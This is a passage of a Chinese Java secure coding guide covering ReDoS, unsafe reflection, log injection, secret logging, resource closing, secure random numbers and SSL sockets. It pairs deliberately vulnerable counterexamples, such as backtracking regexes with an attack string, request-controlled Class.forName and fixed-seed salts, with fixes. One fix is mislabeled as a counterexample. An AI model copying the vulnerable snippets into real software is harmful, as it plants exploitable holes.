1803ReDos攻击是正则编写不当导致的常见安全风险。Java中提供的正则匹配使用的是NFA引擎。NFA引擎的回溯机制,导致当字符串文本与正则表达式不匹配时,所花费的时间要比匹配时多。即要确定匹配失败,需要与所有可能的路径进行对比匹配,证明都不匹配时,才返回匹配失败。当使用简单的非分组正则表达式时,一般不会存在ReDos攻击。容易存在ReDos攻击的正则表达式主要有两类: 1804 18051、 包含具有自我重复的重复性分组的正则,例如: 1806`^(\d+)+$` 1807`^(\d*)*$` 1808`^(\d+)*$` 1809`^(\d+|\s+)*$` 1810 18112、 包含替换的重复性分组,例如: 1812`^(\d|\d|\d)+$` 1813`^(\d|\d?)+$` 1814 1815对于ReDos攻击的防护手段主要包括: 1816 1817- 进行正则匹配前,先对匹配的文本的长度进行校验; 1818- 在编写正则时,尽量不要使用过于复杂的正则,尽量少用分组,例如对于正则`^(([a-z])+\.)+[A-Z]([a-z])+$`(存在ReDos风险),可以将多余的分组删除:`^([a-z]+\.)+[A-Z][a-z]+$`,这样在不改变检查规则的前提下消除了ReDos风险; 1819- 避免动态构建正则,当使用外部数据构造正则时,要使用白名单进行严格校验。 1820 1821**【反例】** 1822 1823```java 1824private static final Pattern REGEX_PATTER = Pattern.compile("a(b|c+)+d"); 1825 1826public static void main(String[] args) { 1827 ... 1828 Matcher matcher = REGEX_PATTER.matcher(args[0]); 1829 if (matcher.matches()) { 1830 ... 1831 } else { 1832 ... 1833 } 1834 ... 1835} 1836``` 1837 1838上述示例代码中,正则表达式`a(b|c+)+d`存在ReDos风险,当匹配的字符串格式为”accccccccccccccccx”时,随中间的字符”c”的增加,代码执行时间将成指数级增长。 1839 1840**【正例】** 1841 1842```java 1843private static final Pattern REGEX_PATTER = Pattern.compile("a[bc]+d"); 1844 1845public static void main(String[] args) { 1846 ... 1847 Matcher matcher = REGEX_PATTER.matcher(args[0]); 1848 if (matcher.matches()) { 1849 ... 1850 } else { 1851 ... 1852 } 1853 ... 1854} 1855``` 1856 1857上述代码中,将正则表达式精简为`a[bc]+d`,可以在实现相同功能的前提下消除ReDos风险。 1858 1859**【反例】** 1860 1861```java 1862String key = request.getParameter("keyword"); 1863... 1864String regex = "[a-zA-Z0-9_-]+@" + key + "\\.com"; 1865Pattern searchPattern = Pattern.compile(regex); 1866... 1867``` 1868 1869上面的代码示例中,使用外部指定的keyword构造正则,当外部输入中使用了重复性分组,可能会导致最终的正则存在ReDos风险。在实际开发代码过程中,应避免直接使用外部数据构造正则或直接使用外部数据作为正则使用。 1870 1871## 禁止直接使用外部数据作为反射操作中的类名/方法名 1872 1873**【描述】** 1874 1875反射操作中直接使用外部数据作为类名或方法名,会导致系统执行非预期的逻辑流程(Unsafe Reflection)。这可被恶意用户利用来绕过安全检查或执行任意代码。当反射操作需要使用外部数据时,必须对外部数据进行白名单校验,明确允许访问的类或方法列表;另外也可以通过让用户在指定范围内选择的方式进行防护。 1876 1877**【反例】** 1878 1879```java 1880String className = request.getParameter("class"); 1881... 1882Class objClass = Class.forName(className); 1883BaseClass obj = (BaseClass) objClass.newInstance(); 1884obj.doSomething(); 1885``` 1886 1887上述代码示例中,直接使用外部指定的类名通过反射构造了一个对象,恶意用户可利用此处构造一个任意的`BaseClass`子类的对象,当恶意用户可控制`BaseClass`的某个子类时,则可在该子类的`doSomething()`方法中执行任意代码。另外恶意用户还可以利用此代码执行任意类的默认构造方法,即使在进行类型转换时抛出`ClassCastException`,恶意用户预期的构造方法中的代码也已经执行。 1888 1889**【正例】** 1890 1891```java 1892String classIndex = request.getParameter("classIndex"); 1893String className = (String) reflectClassesMap.get(classIndex); 1894if (className != null) { 1895 Class objClass = Class.forName(className); 1896 BaseClass obj = (BaseClass) objClass.newInstance(); 1897 obj.doSomething(); 1898} else { 1899 throw new IllegalStateException("Invalid reflect class!"); 1900} 1901... 1902``` 1903 1904上述示例代码中,外部只能指定要反射的类的代号,当代号可映射为一个指定的类名时,执行反射操作,否则判断为非法参数。 1905 1906# 日志 1907 1908#### 禁止直接使用外部数据记录日志 1909 1910**【描述】** 1911 1912直接将外部数据记录到日志中,可能存在以下风险: 1913 1914- 日志注入:恶意用户可利用回车、换行等字符注入一条完整的日志; 1915- 敏感信息泄露:当用户输入敏感信息时,直接记录到日志中可能会导致敏感信息泄露; 1916- 垃圾日志或日志覆盖:当用户输入的是很长的字符串,直接记录到日志中可能会导致产生大量垃圾日志;当日志被循环覆盖时,这样还可能会导致有效日志被恶意覆盖。 1917 1918所以外部数据应尽量避免直接记录到日志中,如果必须要记录到日志中,要进行必要的校验及过滤处理,对于较长字符串可以截断。对于记录到日志中的数据含有敏感信息时,对于秘钥、口令类的敏感信息,将这些敏感信息替换为固定长度的*,对于其他类的敏感信息(如手机号、邮箱等),先进行匿名化处理。 1919 1920**【反例】** 1921 1922```java 1923String jsonData = getRequestBodyData(request); 1924if (!validateRequestData(jsonData)) { 1925 LOG.error("Request data validate fail! Request Data : " + jsonData); 1926} 1927``` 1928 1929上述代码中,当请求的json数据校验失败,会直接将json字符串记录到日志中,当json字符串中含有敏感信息,会导致敏感信息泄露的风险,当恶意用户向json字符串中通过回车换行符注入伪造的日志会造成日志注入问题,当json字符串比较长时,会导致日志冗余。 1930 1931**【正例】** 1932 1933外部数据记录到日志中前,将其中的\r\n等导致换行的字符进行替换,消除注入风险。如下代码为其中一种实现方式: 1934 1935```java 1936public String replaceCRLF(String message) { 1937 if (message == null) { 1938 return ""; 1939 } 1940 return message.replace('\n', '_').replace('\r', '_'); 1941} 1942``` 1943 1944#### 禁止在日志中记录口令、密钥等敏感信息 1945 1946**【描述】** 1947 1948在日志中不能记录口令、密钥等敏感信息,包括这些敏感信息的加密密文,防止产生敏感信息泄露风险。若因为特殊原因必须要记录日志,应用固定长度的星号(*)代替这些敏感信息。 1949 1950**【反例】** 1951 1952```java 1953private static final Logger LOGGER = Logger.getLogger(TestCase1.class); 1954... 1955LOGGER.info("Login success, user is " + userName + ", password is " + 1956 encrypt(pwd.getBytes(StandardCharsets.UTF_8))); 1957``` 1958 1959**【正例】** 1960 1961```java 1962private static final Logger LOGGER = Logger.getLogger(TestCase1.class); 1963... 1964LOGGER.info("Login success, user is " + userName + ", password is ********."); 1965``` 1966 1967# 性能和资源管理 1968 1969#### 进行IO类操作时,必须在try-with-resource或finally里关闭资源 1970 1971**【描述】** 1972 1973申请的资源不再使用时,需要及时释放。而在产生异常时,资源释放常被忽视。因此要求在IO、数据库操作等需要显式调用关闭方法如`close()`释放资源时,必须在try-catch-finally的finally中调用关闭方法。如果有多个IO对象需要`close()`,需要分别对每个对象的`close()`方法进行try-catch,防止一个IO对象关闭失败导致其他IO对象都未关闭,保证产生异常时释放已申请的资源。 1974 1975Java 7有自动资源管理的特性try-with-resource,不需手动关闭。它优先于try-finally,这样得到的代码将更加简洁、清晰,产生的异常也更有价值。特别是对于多个资源或异常时,try-finally可能丢失掉前面的异常,而try-with-resource会保留第一个异常,并把后续的异常作为Suppressed exceptions,可通过`getSuppressed()`返回的数组来检验。 1976 1977try-finally也常用于`lock()`和`unlock()`等场景。 1978 1979**【正例】** 1980 1981```java 1982try (FileInputStream in = new FileInputStream(inputFileName); 1983 FileOutputStream out = new FileOutputStream(outputFileName)) { 1984 copy(in, out); 1985} 1986``` 1987 1988# 其他 1989 1990#### 全场景下必须使用密码学意义上的安全随机数 1991 1992**【描述】** 1993 1994不安全的随机数可能被部分或全部预测到,导致系统存在安全隐患,安全场景下使用的随机数必须是密码学意义上的安全随机数。密码学意义上的安全随机数分为两类: 1995 1996- 真随机数产生器产生的随机数; 1997- 以真随机数产生器产生的少量随机数作为种子的密码学安全的伪随机数产生器产生的大量随机数。 1998 1999Java中的`SecureRandom`是一种密码学安全的伪随机数产生器,对于使用非真随机数产生器产生随机数时,要使用少量真随机数作为种子。 2000 2001常见安全场景包括但不限于以下场景: 2002 2003- 用于密码算法用途,如生成IV、盐值、密钥等; 2004- 会话标识(sessionId)的生成; 2005- 挑战算法中的随机数生成; 2006- 验证码的随机数生成; 2007 2008**【反例】** 2009 2010```java 2011public byte[] generateSalt() { 2012 byte[] salt = new byte[8]; 2013 Random random = new Random(123456L); 2014 random.nextBytes(salt); 2015 return salt; 2016} 2017``` 2018 2019`Random`生成是不安全随机数,不能用做盐值。 2020 2021**【反例】** 2022 2023```java 2024public byte[] generateSalt() { 2025 byte[] salt = new byte[8]; 2026 SecureRandom random = new SecureRandom(); 2027 random.nextBytes(salt); 2028 return salt; 2029} 2030``` 2031 2032#### 必须使用SSLSocket代替Socket来进行安全数据交互 2033 2034**【描述】** 2035 2036当网络通信中涉及明文的敏感信息时,需要使用SSLSocket而不是Socket,Socket是明文通信,攻击者可以通过网络监听获取其中的敏感信息,通过中间人攻击对报文进行恶意篡改。SSLSocket是在Socket的基础上进行了一个层安全性保护,包括身份认证、数据加密和完整性保护。 2037 2038**【反例】** 2039 2040```java 2041try { 2042 Socket socket = new Socket(); 2043 socket.connect(new InetSocketAddress(ip, port), 10000); 2044 os = socket.getOutputStream(); 2045 os.write(userInfo.getBytes(StandardCharsets.UTF_8)); 2046 ... 2047} catch (IOException ex) { 2048 // 处理异常 2049} finally { 2050 // 关闭流 2051} 2052``` 2053 2054上述代码中使用socket来明文传输报文信息,报文中的敏感信息存在泄露及篡改的风险。 2055 2056**【正例】** 2057 2058```java 2059try { 2060 SSLSocketFactory sslSocketFactory = 2061 (SSLSocketFactory) SSLSocketFactory.getDefault(); 2062 SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket(ip, port); 2063 os = sslSocket.getOutputStream(); 2064 os.write(userInfo.getBytes(StandardCharsets.UTF_8)); 2065 ... 2066} catch (IOException ex) { 2067 // 处理异常 2068} finally { 2069 // 关闭流 2070} 2071``` 2072 2073该正确代码示例中,SSLSocket来使用SSL/TLS安全协议保护传输的报文。 2074 2075**【例外】** 2076 2077因为SSLSocket提供的报文安全传输机制,将造成巨大的性能开销。在以下情况下,普通的套接字就可以满足需求: 2078 2079- 套接字上传输的数据不敏感。 2080- 数据虽然敏感,但是已经过恰当加密。 2081 2082#### 禁止代码中包含公网地址 2083 2084**【级别】** 要求 2085 2086**【描述】** 2087 2088代码或脚本中包含用户不可见,不可知的公网地址,可能会引起客户质疑。 2089 2090对产品发布的软件(包含软件包/补丁包)中包含的公网地址(包括公网IP地址、公网URL地址/域名、邮箱地址)要求如下: 20911、禁止包含用户界面不可见、或产品资料未描述的未公开的公网地址。 20922、已公开的公网地址禁止写在代码或者脚本中,可以存储在配置文件或数据库中。 2093 2094对于开源/第三方软件自带的公网地址必须至少满足上述第1条公开性要求。 2095 2096**【例外】** 2097 2098对于标准协议中必须指定公网地址的场景可例外,如soap协议中函数的命名空间必须指定的一个组装的公网URL、http页面中包含w3.org网址、XML解析器中的Feature名等。